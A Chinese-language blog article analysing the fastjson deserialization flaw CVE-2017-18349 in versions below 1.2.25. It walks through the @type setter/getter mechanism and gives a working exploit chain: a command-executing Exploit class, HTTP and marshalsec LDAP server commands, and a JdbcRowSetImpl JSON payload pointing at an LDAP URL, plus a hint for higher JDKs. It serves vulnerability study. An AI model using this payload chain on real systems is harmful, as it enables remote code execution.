溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析

發(fā)布時(shí)間:2021-12-14 10:24:45 來源:億速云 閱讀:495 作者:柒染 欄目:網(wǎng)絡(luò)管理

如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,針對(duì)這個(gè)問題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡(jiǎn)單易行的方法。

下面將對(duì)fastjson<1.2.25反序列漏洞進(jìn)行漏洞原理分析、本地調(diào)試驗(yàn)證等。

(1)影響范圍

Fastjson<1.2.25

(2)漏洞成因

@type屬性:Fastjson支持在json數(shù)據(jù)中使用@type屬性,該json數(shù)據(jù)會(huì)被反序列化成指定的對(duì)象類型,在反序列化過程中fastjson會(huì)調(diào)用parse(jsonStr)函數(shù)嘗試對(duì)對(duì)象的屬性進(jìn)行賦值,若對(duì)象的javabean存在屬性的setter方法則調(diào)用set方法,反之調(diào)用get方法。

import java.util.Map;

public class User {
    private String name;
    private Map map;
    public String getName() {
        System.out.println("getName is running ...");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName is running ...");
        this.name = name;
    }
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
    public Map getmap() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
        return map;
    }
}
public class Test {
    public static void main(String[] args) {
        String json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\"}";
        json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\",\"map\":{}}";
        Object obj = JSON.parse(json);
        System.out.println(obj); //輸出User{name='zhangsan'},彈出計(jì)算器
    }
}

經(jīng)過代碼追蹤,發(fā)現(xiàn)屬性賦值是在FieldDeserializer.java的setValue函數(shù)中,因?yàn)閙ap屬性不存在set方法,故在setValue函數(shù)中fieldInfo.getOnly為true,method為getmap方法

public void setValue(Object object, Object value) {
    if (value == null //
        && fieldInfo.fieldClass.isPrimitive()) {
        return;
    }
    try {
        Method method = fieldInfo.method;
        if (method != null) {
            if (fieldInfo.getOnly) {//set方法不存在,根據(jù)類型調(diào)用get方法
                if (fieldInfo.fieldClass == AtomicInteger.class) {
                    AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicInteger) value).get());
                    }
                } else if (fieldInfo.fieldClass == AtomicLong.class) {
                    AtomicLong atomic = (AtomicLong) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicLong) value).get());
                    }
                } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                    AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicBoolean) value).get());
                    }
                } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                    Map map = (Map) method.invoke(object);
                    if (map != null) {
                        map.putAll((Map) value);
                    }
                } else {
                    Collection collection = (Collection) method.invoke(object);
                    if (collection != null) {
                        collection.addAll((Collection) value);
                    }
                }
            } else {//set方法存在,調(diào)用set方法
                method.invoke(object, value);
            }
            return;
        }

調(diào)試可以發(fā)現(xiàn)調(diào)用鏈如下:

如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析

(2)漏洞利用,經(jīng)過上述分析,滿足一下任意條件可進(jìn)行RCE

找到一個(gè)類,存在一個(gè)屬性,屬性類型為AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一種類型,定義了屬性的get方法但未定義set方法,在get方法中可構(gòu)造gadget鏈達(dá)到代碼執(zhí)行目的。

找到一個(gè)類,存在一個(gè)屬性,定義了set方法,在方法中可構(gòu)造gadget鏈達(dá)到代碼執(zhí)行目的。

找到一個(gè)類JdbcRowSetImpl,在變量autoCommit的set函數(shù)中,會(huì)調(diào)用connect函數(shù):

如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析

connect函數(shù)中,會(huì)獲取private成員變量dataSourceName,作為lookup函數(shù)的參數(shù)進(jìn)行服務(wù)獲取,這時(shí)JNDI注入攻擊走起:

如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析

步驟1:?jiǎn)?dòng)HTTP服務(wù)并放置構(gòu)造函數(shù)具有RCE的攻擊類,啟動(dòng)LDAP服務(wù)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;

public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote {

    public Exploit() throws IOException {
        System.out.println("Exploit");
        Runtime.getRuntime().exec("calc");
    }
    
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("getObjectInstance");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}
python -m SimpleHTTPServer 80
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777

步驟2:觸發(fā)json解析,實(shí)現(xiàn)計(jì)算器彈窗

String className = "com.sun.rowset.JdbcRowSetImpl";
String dataSourceName = "ldap://127.0.0.1:7777/any";
json = "{\"@type\":\"" + className + "\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":true" + "}";
//JDK 8u191及以后,默認(rèn)為false,以下為了調(diào)試手工改了配置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
JSON.parse(json);

針對(duì)高版本JDK,默認(rèn)配置限制了遠(yuǎn)程factory類的下載,實(shí)際環(huán)境中可以用LDAP+本地反序列化的方式去進(jìn)行利用。

關(guān)于如何進(jìn)行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析問題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI